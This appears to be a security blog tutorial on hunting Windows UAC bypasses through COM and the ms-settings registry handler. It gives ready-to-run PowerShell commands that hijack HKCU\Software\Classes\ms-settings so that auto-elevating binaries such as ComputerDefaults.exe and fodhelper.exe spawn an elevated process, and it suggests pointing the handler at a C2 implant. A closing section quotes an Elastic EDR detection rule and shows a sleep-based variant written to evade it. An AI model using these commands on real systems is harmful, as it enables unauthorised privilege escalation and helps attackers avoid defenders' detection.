Hunting COM UAC Bypasses
Few Introductions
For this topic, a few definitions must first be made clear, those are:
COM (Component Object Model)
A Microsoft technology that provides modular software components that can be used like building blocks. Those components can interact with each other through programming interfaces or even over networks (DCOM over RPC).
COM Object
For simplicity, If you consider COM to be a bunch of classes, COM objects are instances of those classes. Those instances can then be used in code and can carry out their purposes by implementing the interfaces provided by their respective classes. COM Objects are identified by their GUID, which in this context is called a class ID (CLSID).
An example of a COM/COM Object would be the Shell.Application COM class. This one gives you file browser abilities, such as browsing, creating, and deleting files, and much more.
Creating an object of this class to be used in code could be done as demonstrated in this Powershell example:
$MyExplorer = New-Object -ComObject Shell.Application
$MyExplorer.Open("C:\Users")Executing this code should open an explorer window to C:\Users . In this example, the COM class is Shell.Application and the COM Object is MyExplorer.
UAC (User Account Control)
The following is from the Microsoft documentation:
With UAC, each application that requires the administrator access token must prompt the end user for consent. The only exception is the relationship that exists between parent and child processes. Child processes inherit the user's access token from the parent process. Both the parent and child processes, however, must have the same integrity level.
Windows protects processes by marking their integrity levels. Integrity levels are measurements of trust:
A high integrity application is one that performs tasks that modify system data, such as a disk partitioning application
A low integrity application is one that performs tasks that could potentially compromise the operating system, like as a Web browser
Applications with lower integrity levels can't modify data in applications with higher integrity levels. When a standard user attempts to run an app that requires an administrator access token, UAC requires that the user provides valid administrator credentials.
Basically, If you have ever ran into this prompt:

You've met UAC. And while executing a binary as an administrator from a user within the local administrators group would be a click away, things are not so easy when you have command line access as you'll probably be met with an "Access Is Denied" error.
COM UAC Bypass
Combining both concepts now, we could start looking for UAC bypasses by taking advantage of how some applications implement COM objects.
Some applications reach out for the registry key at HKCU:\Software\Classes\ms-settings\Shell\Open\command when they want to know how to handle the ms-settings: URL schemes. This scheme is reserved for windows settings, for example, typing ms-settings:apps-volume in a Run dialogue is going to open the volume settings.
Registry can be manipulated in a way that allows us to instruct those applications to redirect the handler for this scheme to binary/command rather than invoking a COM object.
To execute this attack, the registry can be modified using the following Powershell commands:
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\windows\system32\cmd.exe" -ForceThe first command creates a registry key in the location reached for by the binary in question. After that, the second one creates a string value named DelegateExecute with an empty value. Typically, this value will hold a class ID of a COM object which would handle this request. But by leaving it empty, we ensure that no COM objects will take over the execution.
Finally, the string value Default is set to the path of the binary we would like to run in an elevated context, which in this case is just cmd.exe.
This could also point at any binary of your choosing, such as an implant to your C2 etc..
The Binaries
The final link in this attack chain is identifying the native windows binaries which when executed, would set our attack in motion.
To narrow our search, the binary that goes into our attack should satisfy the following criteria:
It should be signed by Microsoft and have the
autoElevatesetting set in its binary manifest.It should interact in some way with the settings via the
ms-settingsscheme.It should search for and use the values of the registry keys mentioned in the previous section.
To tackle the first requirement, Sysinternals' tool sigcheck can be used in order to look for binaries that have the autoElevate setting in its manifest. The following Powershell loop was used to list all binaries in the C:\ drive that fit the bill:
Get-ChildItem -Recurse C:\*.exe -ErrorAction Ignore | % { if (& 'C:\Tools\Sigcheck\sigcheck64.exe' -m $_.FullName | Select-String "<autoElevate>true</autoElevate>") { $_.FullName } }Next, those binaries were ran while Procmon was monitoring for registry access events to determine which of them accessed the registry keys in question. For example, the binary C:\Windows\System32\ComputerDefaults.exe was seen trying to access those registry keys in Procmon:

After making the necessary changes to the registry, and running ComputerDefaults.exe from anywhere on the system, you should now have a spawned elevated process:


Bonus Round: Bypassing The FodHelper UAC bypass YARA Rule
Through some recent situations, I've noticed that EDR's are starting to catch up to those types of bypasses -among others-, for example, Elastic EDR actually caught this technique right away when used with fodhelper.exe
Since elastic uses publicly available YARA rules for threat detection, I decided to take a quick look for any potential bypasses. The following was the query the rule specified to look for this behavior:
query = '''
sequence with maxspan=60s
[registry where registry.hive == "HKEY_USERS" and registry.data.strings != null and
registry.key : "*\\ms-settings*"]
[process where event.action == "start" and process.parent.name : "fodhelper.exe" and
process.Ext.token.integrity_level_name == "high" and
not process.executable :
("?:\\Windows\\System32\\WerFault.exe",
"?:\\Windows\\SysWOW64\\WerFault.exe")]
'''Translation is if an operation over a registry key containing ms-settings has been requested, followed by the starting of the process fodhelper.exe with an elevated token, then flag and detect this right away.
I'm guessing this rule only accounted for the quick succession of instruction execution that would typically be found in an automated exploit for this bypass since sequence with maxspan=60s means that the rule applies if all these criteria take place within the span of 60 seconds.
A simple modification to the set of commands mentioned in the previous section where a delay (sleep) was added within the code to counter exit the 60-second window was made:
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\windows\system32\cmd.exe" -Force
Start-Sleep -Seconds 65
Start-Process "C:\windows\system32\fodhelper.exe"And in little over a minute, the technique passed the EDR check with flying colors.
Last updated